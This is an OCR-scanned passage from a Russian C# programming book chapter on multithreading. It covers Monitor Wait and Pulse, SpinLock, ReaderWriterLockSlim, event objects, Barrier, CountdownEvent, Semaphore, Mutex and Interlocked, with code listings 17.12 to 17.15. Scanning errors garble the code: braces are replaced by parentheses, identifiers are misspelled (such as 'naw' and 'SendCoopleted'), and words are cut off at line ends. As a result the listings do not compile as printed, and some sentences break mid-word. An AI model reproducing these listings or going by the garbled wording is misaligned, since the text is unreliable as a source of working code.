несогласованном состоянии. Ведь 853
Глава 17 при снятии блокировки другие потоки смогут получить доступ к этому состоянию и, возможно, спровоцируют новые проблемы. В некоторых ситуациях бывает более целесообразно не снимать блокировки при ис- ключении — процесс в состоянии взаимной блокировки порой причи- няет меньше вреда, чем тот, что продолжает работать с поврежденным состоянием. Более надежная стратегия — писать код, гарантирующий согласованность при возникновении исключения. Согласованность можно обеспечить либо путем отката всех уже совершенных изменений, если исключение мешает довести обновление до конца, либо сделав все изменения состояний атомарными. Так, можно помещать новое состоя- ние в абсолютно новый объект и заменять его предыдущим лишь после того, как объект полностью инициализируется. Но подобные операции компилятор уже не может за вас автоматизировать. Ожидание и уведомление Класс Monitor может не только гарантировать, что потоки будут пользоваться им по очереди. Он обеспечивает для потоков способ «си- деть и ждать» уведомления от какого-либо другого потока. Если по- ток получил монитор для конкретного объекта, то он может вызвать Monitor.Wait, передав ему этот объект. Такая операция дает двойной эффект: она высвобождает монитор и заставляет поток блокироваться. Поток останется блокированным до тех пор, пока другой поток не вызо- вет Monitor. Pulse или PulseAll для того же объекта. Потоку необходим монитор, чтобы он мог вызвать каждый из этих методов. И Wait, и Pulse, и PulseAll выдают исключение, если при их вызове вы не удерживаете соответствующий монитор. Если поток вызывает Pulse, это позволяет одному потоку дожидать- ся пробуждения в Wait. При вызове PulseAll могут запуститься все пото- ки, ожидающие монитор данного объекта. В любом случае, Monitor .Wait повторно приобретает монитор перед возвратом, поэтому, даже если вы вызовете PulseAll, потоки будут пробуждаться по одному в каждый мо- мент времени. Второй поток не может появиться из Wait до тех пор, пока первый поток, собиравшийся это сделать, не уступит монитор. На самом деле, ни один поток не сможет вернуться из Wait, пока поток, вызвавший Pulse или PulseAll, не уступит блокировку. В листинге 17.12 мы используем методы Wait и Pulse для создания обертки вокруг Queue<T>. В результате поток, возвращающий элемен- ты из очереди, должен -будет перейти в режим ожидания, если очередь 854
Многопоточность окажется пуста. Пример чисто иллюстративный — если вам понадобит- ся такая очередь, то можете не писать собственную, а воспользоваться встроенной BlockingCollection<T>. Листинг 17.12. Методы Wait и Pulse public class MessageQueue<T> { private readonly object _sync = new object!); private readonly Queue<T> _queue = new Queue<T>(); public void Post(T message) ( lock (_sync) { bool wasEmpty = _queue.Count == 0; _queue.Enqueue(message); if (wasEmpty) { Monitor.Pulse(_sync); } } } public T Get() { lock (_sync) ( while (_queue.Count == 0) { Monitor.Wait(_sync); } return _queue.Dequeue(); } } } В приведенном примере монитор используется двумя способами. Во-первых, это делается через ключевое слово lock — так мы гаранти- руем, что лишь один поток в каждый момент времени сможет работать с Queue<T>, в которой содержатся поставленные в очередь элементы. Но, во-вторых, здесь задействованы механизмы ожидания и уведомления, позволяющие тому потоку, который потребляет элементы, эффектив- 855
Глава 17 но блокироваться, если очередь опустеет. Любой поток, добавляющий элементы в очередь, сможет «разбудить» блокированный считывающий поток. Времена ожидания Если вы ожидаете уведомления или просто пытаетесь получить бло- кировку, мржно указать время ожидания. Оно означает период, в тече- ние которого операция должна выполниться. Если этого не произойдет, то завершения уже можно будет не дожидаться. Для получения блоки- ровки вы применяете специальный метод TryEnter, но при ожидании уведомлений можно просто воспользоваться иной перегрузкой. Правда, компилятор этого не поддерживает, поэтому в данном случае вы не смо- жете применить ключевое слово lock. В обоих случаях вы можете либо передать значение int, представляющее максимальное время ожидания в миллисекундах, либо задать значение TimeSpan. Оба варианта возвра- щают булевское значение bool, указывающее, смогла операция успешно завершиться или нет. Этим механизмом можно пользоваться во избежание взаимных бло- кировок в процессе работы, но если вашему коду не удается получить блокировку за заданное время ожидания, то вам приходится решать, что делать. Если ваше приложение так и не сможет получить нужную ему бло- кировку, то вы, так или иначе, не сумеете завершить запланированную ра- боту, в чем бы она ни заключалась. Единственный реалистичный выход - это завершение процесса, так как взаимная блокировка обычно является симптомом бага. Ее возникновение, скорее всего, свидетельствует о том, что ваш процесс уже поврежден. При этом многие разработчики более чем невнимательно относятся к приобретению блокировок и даже могут счесть взаимную блокировку нормальным явлением. В таком случае мо- жет быть целесообразно аварийно завершить любую уже предпринятую вами операцию и либо попытаться снова выполнить эту работу позднее либо просто протоколировать ошибку, отказаться от данной конкретно! операции и вернуться к другим задачам, решением которых занимала процесс. Но такая стратегия может быть рискованной. Структура SpinLock Класс Monitor очець_аффективен, если не возникает конфликтны! условий. Но ситуация кардинально усложняется, как только один пото! попытается войти в монитор, которым уже обладает другой поток, та
Многопоточность как CLR подключит к решению проблемы планировщик операционной системы. При длительных ожиданиях наиболее эффективным выхо- дом является как раз блокировка в планировщике, поскольку в данном случае потоку в период такой блокировки не приходится потреблять процессорное время. Тем не менее если ваш код обычно удерживает мониторы в течение очень краткого времени, то издержки, связанные с привлечением операционной системы, могут значительно перевесить потенциальные выгоды. Поэтому в библиотеке классов предлагается структура SpinLock, использующая более радикальную стратегию. SpinLock представляет подобную логическую модель для методов Enter и Exit класса Monitor. Правда, она не поддерживает ожидания и уведомлений. Но при вызове Enter в SpinLock в случае, когда бло- кировка уже удерживается другим потоком, поток, блокированный посредством SpinLock, будет оставаться в цикле, опрашивающем бло- кировку, и дожидаться ее высвобождения. Если блокировка всегда принимается на очень краткое время, то в многоядерных системах* такой способ даст меньше издержек, чем поручение блокировки по- тока планировщику с последующим пробуждением этого потока. Но если блокировка удерживается в течение существенного времени, то использование SpinLock может оказаться гораздо более затратным, чем применение монитора. В документации указано, что не следует использовать SpinLock, если в период удержания блокировки вы решаете определенные зада- чи, в частности осуществляете любые операции, которые, в свою оче- редь, могут блокироваться (например, ожидаете ввода/вывода). Также не следует вызывать функционально аналогичный код. Кроме того, не рекомендуется вызывать метод посредством механизма, который не по- зволяет с уверенностью определить, какой именно фрагмент кода сра- ботает первым (то есть посредством интерфейса, виртуального метода или делегата). Не рекомендуется даже выделять память. Если вы делае- те что-либо совершенно нетривиальное, то лучше ограничиться Monitor. Правда, доступ к decimal достаточно прост, чтобы защитить его при по- мощи SpinLock, как показано в листинге 17.13. * На машинах всего с одним аппаратным потоком SpinLock, входя в свой цикл, со- общает операционной системе о своем намерении уступить контроль над процессором, чтобы другие потоки (предпочтительно и тот, который в настоящее время имеет блоки- ровку) могли продолжить работу. Иногда SpinLock делает это и в многоядерных системах во избежание ряда тонких проблем, которые могут быть вызваны избыточными провер- ками блокировки. 857
Глава 17 Листинг 17.13. Защита доступа к decimal при помощи SpinLock public class DecimalTotal { private decimal _total; private SpinLock _lock; public decimal Total { get { bool acquiredLock = false; try { _lock.Enter(ref acquiredLock); return _total; I finally ( if (acquiredLock) ( _lock.Exit (); I I } ) public void Add(decimal value) ( bool acquiredLock = false; try ( _lock.Enter(ref acquiredLock); _total += value; } finally ( if (acquiredLock) { _lock.Exit (); ) )
Многопоточность Пришлось написать значительно больше кода, чем при использовании lock, — это объясняется отсутствием поддержки со стороны компилятора. Возможно, так делать и не стоит. SpinLock следует задействовать лишь в си- туациях, когда ожидается, что потенциальные конфликтные условия будут очень краткосрочными, так как и блокировку вы приобретаете очень нена- долго. Но если вы прибегаете к SpinLock, это также предполагает, что кон- фликты должны возникать очень редко. Основное достоинство SpinLock заключается в том, что данная структура весьма эффективно справляется с краткосрочными конфликтами. Если вы ожидаете, что конфликтов не бу- дет, то можно обойтись и обычным монитором, который справится с зада- чей столь же хорошо. SpinLock следует применять в таких случаях, когда на основе профилирования делается вывод, что в реалистичных обстоятель- ствах эта структура действительно сработает лучше, чем монитор. Блокировки чтения/записи Класс ReaderWriterLockSlim предоставляет иную модель блоки- ровки, нежели та, что используется в Monitor и SpinLock. При помощи ReaderWriterLockSlim вы можете получить блокировку либо для чтения, либо для записи. Такая блокировка позволяет нескольким потокам одно- временно стать считывателями. Тем не менее, если один поток запрашива- ет получение блокировки на запись, такая блокировка на запись блокиру- ет любые другие потоки, которые в то же время попытаются заниматься считыванием. Поэтому система дожидается, пока все потоки, находящиеся в процессе считывания, закончат свою работу, и лишь затем предоставляют блокировку на запись тому потоку, который ее запросил. Как только запи- сывающий поток высвободит блокировку, любые потоки, дожидавшиеся окончания блокировки считывания, смогут вернуться к работе. Таким об- разом, пишущий поток получает исключительный доступ, а когда никакой записи не происходит, считывающие потоки могут работать параллельно. Также существует класс ReaderWriterLock. Не используйте его, *<?; 4 ч так как он может вызывать проблемы с производительностью —даже в тех случаях, когда конфликтов из-за получения блокиров- ки не возникает. Кроме того, этот класс делает неоптимальный выбор, когда получения блокировки одновременно дожидают- ся и считывающий, и записывающий поток. Более новый класс ReaderWriterLockSlim появился в .NET 3.5, и его рекомендуется предпочитать старому аналогу в любых сценариях. Старый класс сохраняется лишь для обеспечения обратной совместимости. 859
Глава 17 Может показаться, что такой механизм хорошо подходит для рабо- ты с большинством классов коллекций, встроенных в .NET. Как было описано выше, они часто поддерживают множественные считывающие потоки, работающие параллельно, но требуют, чтобы любые изменения происходили только в одном потоке в каждый момент времени и что- бы во время внесения изменений не был активен ни один считыватель. Правда, вы не обязательно должны сразу прибегать именно к такой бло- кировке, если приходится одновременно иметь дело и со считывающи- ми, и с записывающими потоками. Несмотря на улучшение производительности, обеспечиваемое та- кой «тонкой» блокировкой по сравнению с более старым аналогом, на приобретение подобной блокировки все равно уходит больше времени, чем на использование монитора. Если вы планируете сделать блокиров- ку лишь на очень краткий период, то лучше ограничиться монитором. Теоретическое улучшение производительности, обеспечиваемое более качественной поддержкой параллелизма, может нивелироваться из-за дополнительной работы, сопряженной с получением блокировки. Даже если вы удерживаете блокировку довольно долго, блокировка на считы- вание/запись представляется предпочтительным вариантом лишь в сце- нарии, когда обновления происходят от случая к случаю. Если у вас есть более или менее постоянная череда потоков, намеревающихся изменять данные, то вряд ли ReaderWriterLockSlim позволит существенно повы- сить производительность. Как и во всех случаях выбора по соображениям, связанным с произ- водительностью, при выборе между ReaderWriterLockSlim и более про- стой альтернативой (обычным монитором) необходимо измерить про- изводительность под реалистичной нагрузкой, рассмотрев оба варианта. Так вы сможете определить, насколько существенны отличия и есть ли они вообще. Объекты событий В Win32 всегда предлагался примитив для синхронизации, называе- мый событием (event). В контексте .NET этот термин немного неудачен, так как под ним понимается совершенно иная сущность, нежели рас- смотренная в главе 9. В данном разделе под событиями я подразумеваю синхронизационные примитивы. Класс ManualResetEvent предоставляет механизм, при использова- нии которого один поток может дожидаться уведомления от другого 860
Многопоточность потока. Это способ немного иной, чем при использовании Wait и Pulse из класса Monitor. Во-первых, вам не’требуется обладать монитором или иной блокировкой, чтобы дожидаться события или сигнализиро- вать о нем. Во-вторых, «пульсирующие» методы класса Monitor выпол- няют какую-либо работу лишь при условии, что хотя бы один метод блокирован в Monitor.Wait для данного объекта. Если никакого ожи- дания не происходит, то «толчок пульса» фактически не происходит. Но ManualResetEvent запоминает свое состояние — став свободным, он уже не вернется в занятое (unsignaled) состояние, если только вы не сбросите его вручную, вызвав Reset (отсюда и название). Таким об- разом, этот класс оказывается полезен в ситуациях, когда поток А не может продолжить работу из-за того, что поток В занят выполнением другой работы, которая требует неопределенного количества времени. Поток А может какое-то время подождать, но не исключено, что, когда В закончит свою работу, А уже будет отсутствовать. В листинге 17.14 такие приемы используются для выполнения совмещаемых во времени операций. Листинг 17.14. Ожидание завершения работы с использованием класса ManualResetEvent static void LogFailure(string message, string mailserver) { var email = new SmtpClient(mailserver); using (var emailSent = naw ManualResetEvent (false)) { bool tooLate = false; // Предотвращает вызов метода Set по истечении времени ожидания snail. SendCoopleted += (s, е) => ( if (’tooLate) ( emailSent.Set(); } } email.SendAsync("logger@example.com", "sysadmin@example.com", "Failure Report", "An error occurred: + message, null); LogPersistently(message); if (!emailSent.Waitone(TimeSpan.FromMinutes(1))) { LogPersistently( "Timeout sending email for error: + message); } tooLate = true; I ) 861
Глава 17 Этот метод отправляет сообщение об ошибке системному адми нистратору по электронной почте, используя класс SmtpClient из про странства имен System.Net.Mail. Он также вызывает внутренний мето, LogPersistently (здесь он не показан) для записи ошибки в локально! механизме протоколирования. Поскольку обе эти операции могут вы полняться достаточно долго, код отправляет электронное сообщена асинхронно — метод SendAsync возвращается немедленно, а класс визы вает событие .NET, как только электронное сообщение будет отосланс Таким образом, код может заняться вызовом LogPersistently, пока от сылается сообщение. Протоколировав сообщение, метод дожидается его ухода, перед та как вернуться, — и вот здесь в игру вступает ManualResetEvent.Переда конструктору значение false, я перевожу событие в исходное занято| состояние. Но в обработчике почтового события .NET SendCompleta я вызываю метод Set события синхронизации, который переводит со бытие в свободное состояние. В готовом к эксплуатации коде я бы так же проверял аргумент события .NET, чтобы узнать, нет ли там ошибку Но в данном примере этот момент опущен, так как он не связан с ил люстрируемым здесь аспектом. Наконец, я вызываю Wai tone, которы будет блокирован до тех пор, пока событие не освободится. SmtpClien может справиться со своей задачей так быстро, что сообщение уже уй дет к моменту возврата вызова, отправленного к LogPersistently. Ноэн нормально — в таком случае WaitOne вернется немедленно, поскольк ManualResetEvent освободится, как только вы вызовете Set. Поэтом не важно, какой фрагмент работы завершится раньше — постоянно протоколирование или отправка электронного сообщения, в люба случае WaitOne прикажет потоку продолжать работу, как только эле« тронное сообщение будет отправлено. Если вам интересно, как у этот метода появилось такое немного странное название, см. врезку «Клас WaitHandle». Класс WaitHandle ManualResetEvent — это обертка .NET для объекта события из Win32. Существует еще ряд классов, используемых для синхронизации, ко- торые также являются обертками для базовых синхронизационньа примитивов, применяемых в операционной системе (другие оберт- ки — это AutoResetEvent, Mutex и Sempahore). Все они наследуют от об- щего базового класса WaitHandle. 862
Многопоточность WaitHandle может находиться в одном из двух состояний: свободном (signaled) и занятом (unsignaled). Специфика этого состояния не- много варьируется у разных примитивов. Событие ManualReset ста- новится свободным, когда вы вызываете Set (и остается в свободном состоянии до тех пор, пока не будет явно выведено из него). Mutex находится в свободном состоянии лишь при условии, что в данный момент им не владеет ни один поток. Несмотря на разницу в интер- претации, ожидание WaitHandle всегда будет блокироваться в заня- том состоянии и не будет — в свободном. Работая с объектами синхронизации Win32, вы можете либо дожи- даться, пока освободится отдельно взятый элемент, либо можете ожидать множества объектов, пока либо один из них, либо все они не освободятся. Класс WaitHandle определяет методы WaitOne, WaitAny и WaitAll, реализующие все три типа ожидания соответственно. В случае с такими примитивами, при работе с которыми успешное ожидание сопряжено с побочным эффектом овладения (исклю- чительного — для Mutex и частичного — для Semaphore), возникает проблема с ожиданием множественных объектов. Если два потока одновременно пытаются овладеть одними и теми же объектами, но в разном порядке, то при наложении таких попыток произойдет взаимная блокировка. Но WaitAll устраняет эту проблему — порядок указания объектов в данном случае не имеет значения, поскольку метод овладевает ими автоматически. Он не допустит того, чтобы успешно завершилось лишь одно такое ожидание — успешно могут завершиться лишь все ожидания одновременно. Разумеется, если отдельно взятый поток делает второй вызов к WaitAll, не высвобо- див предварительно все объекты, захваченные при более раннем вызове, то вероятность взаимной блокировки сохраняется. WaitAll поможет лишь в случае, когда вам нужно овладеть всеми объектами за один шаг. WaitAll не работает с потоком, который использует СОМ-режим STA, из-за ограничений соответствующего базового API Windows. Как было указано в главе 15, если входная точка вашей програм- мы аннотирована [STAThread], то она будет использовать этот ре- жим, как и любой хост-поток элементов пользовательского интер- фейса. WaitHandle можно применять и вместе с пулом потоков. В классе ThreadPool есть метод RegisterWaitForSingleObject, принимающий любой WaitHandle и вызывающий обратный вызов, который вы пре- доставляете, когда манипулятор освобождается. Ниже будет объяс- нено, почему такой вариант не подходит для работы с некоторыми типами, производными от WaitHandle, например для Mutex. 863
Глава 17 Есть еще AutoResetEvent. Как только отдельно взятый поток вс нется после ожидания такого события, оно автоматически переход в занятое состояние. Соответственно, при вызове Set к этому собып система пропустит к нему не более одного потока. Если вызвать S в момент, когда ни один поток не ожидает такого события, то, в отл чие от ситуации с Monitor. Pulse, уведомление не будет потеряно. Тем менее событие не ведет счет ожидающих выполнения команд Set: ес вызвать Set дважды за период, пока ни один поток не ожидает такого с бытия, то после этого система все равно пропустит всего один (первы поток, а затем событие немедленно сбросится. Оба этих типа событий лишь косвенно наследуют от WaitHandle, п средством базового класса EventWaitHandle. Его вы можете использова напрямую, здесь же можно задать ручной или автоматический сбр( присвоив конструктору специальный аргумент. Но самое интересн при обращении с EventWaitHandle заключается в том, что он позвол ет работать, проникая через границы процессов. Базовым объектам с бытий Win32 можно присваивать имена, а если вы знаете имя собьгги созданного другим процессом, то можете открыть это событие, перед его имя на этапе конструирования EventWaitHandle. Если событие с ух занным вами именем еще не существует, то именно ваш процесс его со даст. Еще есть класс ManualResetEventSlim. Но, в отличие от «толст го» считывающе-записывающего класса, ManualResetEvent не зам нен своим «тонким» аналогом в полной мере. Основное достоинсп класса ManualResetEventSlim заключается в том, что при его использ вании в вашем коде периоды ожидания получаются очень кратким Этот класс может быть очень эффективен, так как он будет какое-’ время вести опрос (подобно SpinLock). Таким образом, отпадает нео ходимость пользоваться сравнительно затратными услугами план! ровщика операционной системы. Тем не менее класс рано или позд! прекратит опрос, передав решение задачи более тяжеловесному мех низму. Правда, даже в этом случае он немного эффективнее предш ственника, так как не требует поддержки межпроцессных операци Автоматической версии такого «тонкого» события не существует, и скольку события с автоматическим сбросом вообще не слишком ра пространены. Кроме того, из-за использования опроса «тонкое» а бытиёири работе не может проникать через границы процессов. Ecj вам требуется событие, охватывающее несколько процессов, пользу тесь EventWaitHandle. 864
Многопоточность Барьер В предыдущем разделе я показал, как можно пользоваться собы- тиями для координирования параллельной работы: позволять одному потоку ждать, пока что-то не произойдет, а потом возобновлять рабо- ту. В библиотеке классов есть класс, позволяющий обрабатывать такие виды координации, но не много с другой семантикой. Класс Barrier мо- жет обрабатывать многих участников, а также способен поддерживать несколько фаз. Концепция фазы подразумевает, что потоки могут ждать друг друга несколько раз по мере выполнения работы. Barrier симме- тричен — если в листинге 17.14 обработчик события вызывает Set, когда другой поток вызвал WaitOne, то в случае с Barrier все участники вызы- вают метод SignalAndWait. При этом установка и ожидание фактически объединяются в одну операцию. Когда участник вызывает SignalAndWait, этот метод блокируется до тех пор, пока его не вызовут все остальные участники — к тому моменту все они уже будут разблокированы и смогут продолжать работу. Barrier известно, сколько участников ожидать, так как их количество передает- ся в виде аргумента конструктора. При многофазной операции описанный процесс просто идет по кругу. Как только последний участник вызовет SignalAndWait, высвобо- див тем самым всех остальных, наступает такая ситуация: если любой поток вызовет SignalAndWait, то этот метод блокируется точно так же, как и раньше, ожидая, пока его не вызовут повторно все участники. По CurrentPhaseNumber можно узнать, сколько раз это уже происходило. Такая симметрия делает Barrier менее удобным решением, чем ManualResetEvent из листинга 17.14, так как в том примере ждать прихо- дилось лишь одному потоку. Мы ничего не выигрываем, если заставляем обработчик события SendComplete дожидаться завершения обновления журнала с постоянным протоколированием, — окончание этой работы критично лишь для одного участника. Конечно, ManualResetEvent поддер- живает всего одного участника, но это еще не является причиной для ис- пользования Barrier. Если вам нужна событийная асимметрия со многи- ми участниками, то можно применить другой механизм: обратный отсчет. Класс CountdownEvent Класс CountdownEvent похож на событие, но позволяет вам указать, что ему нужно послать сигнал несколько раз, прежде чем он пропустит 865
Глава 17 через себя ожидающие потоки. Конструктор принимает аргумент св значением, с которого начинается отсчет, и вы можете в любой момент увеличить это значение, вызвав AddCount. Для уменьшения значения вц* зывается метод Signal; по умолчанию он будет уменьшать это значенй на один, но есть и перегруженный вариант, позволяющий уменьшай значение на заданное количество единиц. * t Метод Wait блокируется до тех пор, пока счет не достигнет пула Если вы хотите проверить актуальное значение и узнать, на каком этап^ находится обратный отсчет, можете считать свойство Currentcount. £ Семафор t Еще один механизм, основанный на отсчете и широко используемы! в параллельных системах, называется семафор. В Windows обеспечив^ ется нативная поддержка этого механизма, а фреймворк .NET предоставь ляет для него обертку, класс Semaphore, который, как и обертки событий наследует от WaitHandle. В то время как CountdownEvent открывает nyii ожидающим потокам лишь после того, как обратный отсчет дойдет до нуля, Semaphore начинает блокировать потоки лишь с того момента, как обратный отсчет дойдет до нуля. Этот механизм можно использовать^ если требуется гарантировать, что одновременным выполнением опреде- ленной работы будет занято не более конкретного количества потоков. Поскольку Semaphore наследует от WaitHandle, для ожидания вы вы- зываете метод WaitOne. Он блокируется лишь в случае, если отсчет уже дошел до нуля. При возврате он уменьшает значение счетчика на едини- цу. Для повышения значения вы вызываете Release. Исходное значение счетчика указывается как аргумент конструктора, вы также должны со- общить и максимальное значение. Если при вызове Release произойдет попытка задать значение выше максимального, то будет выдано исклю- чение. Как и при работе с событиями, Windows поддерживает межпроцесс- ное использование семафоров. Поэтому при желании вы можете пере- дать имя семафора как аргумент конструктора. В таком случае откро- ется существующий семафор либо будет создан новый, если семафор с указанным именем еще не существует. ЕщеЪуществует класс SemaphoreSlim. Как и ManualResetEventSliir.,OH позволяет повысить производительность в таких сценариях, когда по-
Многопоточность токам, как правило, не требуется блокироваться надолго. SemaphoreSlim позволяет снижать значение счетчика двумяпепособами. Его метод Wait функционально напоминает метод WaitOne класса Semaphore. Но в дан- ном случае имеется еще и метод WaitAsync, возвращающий Task, которая завершается при условии, что счетчик имеет ненулевое значение. При завершении задачи значение счетчика уменьшается. Это означает, что вам не приходится блокировать поток, ожидая, пока семафор станет до- ступен. Более того, это означает, что для уменьшения значения семафора вы можете пользоваться ключевым словом await, описанным в главе 18. Мьютекс В Windows определяется синхронизационный примитив мьютекс, для которого фреймворк .NET предоставляет класс-обертку Mutex. Это слово является сложносокращенным от «mutually exclusive» (взаимои- сключающий). Дело в том, что в любой момент времени мьютексом мо- жет владеть только один поток. Если данным мьютексом владеет поток А, то поток В не может им овладеть — и наоборот. Разумеется, именно так работает ключевое слово lock, с которым мы имели дело в классе Monitor. Поэтому Mutex обычно применяется лишь в тех случаях, когда нам необходима межпроцессная поддержка, предоставляемая Windows. Как и в других случаях межпроцессной синхронизации, при конструи- ровании мьютекса вы можете передать имя. Кроме того, Mutex использу- ется вместо lock, если требуется возможность ожидать несколько объ- ектов в рамках единственной операции. " Метод ThreadPool.RegisterWaitForSingleObject не работа- 4 * ет с мьютексами, поскольку Win32 требует, чтобы владение Я?*'мьютексом было связано с конкретным потоком. А в соот- ветствии с внутренними принципами работы пула потоков RegisterWaitForSingleObject не в состоянии контролировать, какой именно из потоков пула будет обрабатывать обратный вызов при помощи мьютекса. Для получения мьютекса вы вызываете WaitOne, а если в этот момент мьютекс занят каким-то другим потоком, то WaitOne будет блокирован до тех пор, пока этот поток не вызовет ReleaseMutex. Как только WaitOne успешно вернется, вы завладеете мьютексом. Необходимо высвобож- дать мьютекс в том же потоке, в котором вы его получили. 867
Глава 17 «Тонкой» версии класса Mutex не существует. Но у нас уже есть экви-j валент, требующий меньших издержек, поскольку всем объектам .NE'ti присуща способность самостоятельно обеспечивать легкое взаимное ио ключение — благодаря классу Monitor и ключевому слову lock. Класс Interlocked Класс Interlocked немного отличается от других типов, описании^ выше в этом разделе. Он обеспечивает параллельный доступ к раздел ляемым данным, но не является синхронизационным примитивом. Он просто определяет статические методы, предоставляющие атомарные формы различных простых операций. Например, он предоставляет методы Increment, Decrement и Add с пе- регруженными вариантами, поддерживающими значения int и long< В принципе речь идет об аналогичных операциях; ведь приращение и уменьшение — это фактически сложение с 1 или -1. При сложении происходит считывание значения из какого-то места, в котором оно хра- нится, вычисление измененного значения и сохранение этого изменен- ного значения там же, откуда было взято исходное. Если при этом вы пользуетесь обычными операциями С#, то могут возникнуть проблемы, когда несколько потоков попытаются одновременно изменить одну и ту же ячейку памяти. Если какое-либо значение изначально равно 0, один поток считывает это значение, а затем другой поток также его считы- вает, то возможна ситуация, в которой оба они прибавят к значению по единице и сохранят результат в памяти. Оба они «будут полагать», что успешно прибавили по единице, тогда как сохраненное в памяти значе- ние будет увеличено всего на 1, а не на 2. При выполнении таких onepaj ций в форме Interlocked подобное наложение не возникает. Interlocked также предлагает различные методы, позволяющие менять значения местами. Метод Exchange принимает два аргумента; ссылку на значение и само значение. Он возвращает то значение, кото- рое в настоящий момент располагается в месте, соответствующем пер- вому аргументу, а также перезаписывает эту величину значением, содер- жащимся во втором аргументе. Оба этих шага выполняются как единая атомарная операция. Существуют и перегруженные варианты, поддер- живающие int, long, object, float, double, а также тип IntPtr, представ- ляющий собой~неуправляемый указатель. Есть также универсальная коллекция Exchange<T>, где Т может быть только ссылочным типом.
Многопоточность Также существует поддержка условного обмена, обеспечиваемая методом CompareExchange. Он принимает три-значения. Как и в случае с Exchange, здесь будет ссылка на определенную переменную, которую требуется изменить, а также новое значение, каким вы хотите заменить старое. Третий аргумент здесь — это значение, по вашему мнению, сейчас записанное в интересующей вас ячейке памяти. Если значение в ячейке памяти не совпадает с ожидаемым, то этот метод не изменит ячейку па- мяти. Он просто вернет то значение, которое найдет в этой ячейке, не- зависимо от того, изменит ли он его предварительно или нет. На самом деле, вы можете реализовывать и другие подобные операции. Так, в ли- стинге 17.15 реализована операция атомарного увеличения. Листинг 17,15. Использование метода CompareExchange static int Interlockedlncrement(ref int target) { int current, newValue; do { current = target; newValue = current + 1; } while (Interlocked.CompareExchange(ref target, newValue, current) != current); return newValue; } Тот же принцип действует и с другими операциями: считываем ак- туальное значение, вычисляем значение, которым его нужно заменить, а потом заменяем лишь в случае, если между двумя описанными шага- ми значение не успело измениться. Если значение изменится в период между взятием и заменой текущего, заменив таким образом исходное текущее значение, — повторяем операцию. Здесь нужно проявлять не- которую осторожность: даже если CompareExchange выполнится успеш- но, не исключено, что другие потоки могли изменить значение повтор- но в период между тем, как вы прочитали значение и как обновили его, и при этом второе обновление сначала сделало значение таким, каким оно было перед первым обновлением. При увеличении это не,играет существенной роли, так как результат остается верным, но вообще не следует слишком уверенно полагаться на то, что успешное обновление 869
Глава 17 действительно дает верный результат. Если сомневаетесь, то лучше оза- ботиться одним или несколькими более тяжеловесными механизмами синхронизации. Простейшая атомарная операция Interlocked — это метод Read. Он принимает ref long и атомарно считывает значение с учетом любых дру- гих операций над 64-битными значениями, которые вы выполняете при помощи Interlocked. Так обеспечивается безопасное считывание 64-бит- ных значений — в принципе CLR не гарантирует, что любые считыва- ния 64-битных значений будут атомарными. В 64-битном процессе ато- марность, как правило, соблюдается, но если вам требуется атомарность в 32-битных архитектурах, то необходимо использовать Interlocked. Read. Перегруженный вариант для работы с 32-битными значениями от- сутствует, так как их считывание и запись всегда атомарны. Операции, поддерживаемые Interlocked, соответствуют атомар- ным операциям, которые более или менее напрямую поддерживаются в большинстве процессоров. Некоторые процессорные архитектуры по определению поддерживают все такие операции, другие же непо- средственно поддерживают лишь сравнение и обмен, выстраивая все остальные операции на их основе. В любом случае все подобные опе- рации^строятся всего из нескольких инструкций. Это означает, что они достаточно эффективны. Выполнение таких операций — существенно более затратный процесс, чем использование их неатомарных аналогов в обычном коде, поскольку для обеспечения полноценной атомарности при выполнении атомарных инструкций процессор должен обеспечи- вать их координацию во всех ядрах (а также между всеми процессор- ными чипами на компьютерах, где установлено несколько отдельных физических процессоров). Тем не менее затраты на такую операцию со- ставляют лишь малую толику от затрат на блок lock. Операции такого рода иногда называются свободными от блокировок (lock-free). Этот термин не совсем точен — ведь компьютер приобретает блокировки, но на очень краткое время и на очень низком аппаратном уровне. При атомарных операциях вида «чтение-изменение-запись» фактически приобретается исключительная блокировка компьютер- ной памяти на два такта шины. Тем не менее не приобретается ника- ких блокировок на уровне операционной системы, планировщик в этой операции не участвует, а сами блокировки удерживаются в течение ни- чтожно краткого периода — достаточного для выполнения всего одной инструкции машинного кода. Еще важнее тот факт, что используемая 870
Многопоточность здесь специализированная низкоуровневая разновидность аппаратной блокировки не допускает удержания одной. блокировки во время ожи- дания другой — код может заблокировать лишь одну сущность в каж- дый момент времени. Это означает, что при операциях такого рода не может возникнуть взаимная блокировка. Тем не менее такая простота, исключающая возможность взаимных блокировок, оказывается палкой о двух концах. Недостаток атомарных interlocked-операций заключается в том, что атомарность обеспечивается лишь для крайне простых операций. Поль- зуясь лишь классом Interlocked, очень затруднительно выстроить бо- лее сложную логику, которая корректно работала бы в многопоточной среде. Проще и менее рискованно будет пользоваться более высокоу- ровневыми синхронизационными примитивами, так как они позволяют без труда защитить и сравнительно сложные операции, а не только от- дельные вычисления. Как правило, Interlocked целесообразно применять лишь при рабо- те, предполагающей очень высокие показатели производительности. Но даже в таком случае необходимо делать тщательные измерения ц удо- стоверяться, что предпринятые меры действительно дают ожидаемый эффект. Например, такой код, как в листинге 17.15, теоретически может выполнить до завершения любое количество циклов, поэтому затраты на него могут оказаться значительно выше, чем вы ожидаете. Одна из самых сложных проблем при написании правильного кода с применением низкоуровневых атомарных операций заключается в не- обходимости адаптироваться к кэшированию работы, которое приме- няется процессором. Работа, выполненная одним потоком, возможно, не станет немедленно видима другим потокам. В ряде случаев доступ к памяти не обязательно может происходить именно в том порядке, что задан в вашем коде. При использовании более высокоуровневых прими- тивов синхронизации эти проблемы удается обойти, так как подобные примитивы накладывают определенные ограничения возможного по- рядка (ordering constraints). Но если вы все-таки решите использовать Interlocked для выстраивания собственных механизмов синхрониза- ции, то вам потребуется понимать модель памяти, определяемую в .NET для случаев, в которых несколько потоков одновременно обращаются к одной и той же памяти. Как правило, для обеспечения правильности вам понадобится применять либо метод MemoryBarrier, определяемый в классе Interlocked, либо различные методы, определяемые в классе 871
